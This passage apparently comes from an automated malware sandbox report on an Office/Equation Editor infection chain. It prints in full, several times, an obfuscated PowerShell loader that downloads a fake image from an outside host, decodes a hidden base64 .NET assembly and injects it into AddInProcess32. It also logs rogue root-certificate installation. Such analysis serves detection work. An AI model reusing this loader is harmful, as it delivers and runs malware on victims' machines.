t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0029A4C1 push esi; ret	6_2_0029A4D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0029A755 push ebx; ret	6_2_0029A756
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00298FC5 push eax; ret	6_2_00298FC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_005B1850 pushad ; ret	8_2_005B1859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_005B29B4 pushfd ; retf	8_2_005B29BD

Source: 6.2.powershell.exe.63545dc.3.raw.unpack, Home.cs	High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, Class2.cs	High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.270000.0.raw.unpack, Home.cs	High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.270000.0.raw.unpack, RunPEE.cs	High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.270000.0.raw.unpack, Class2.cs	High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_035205CF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
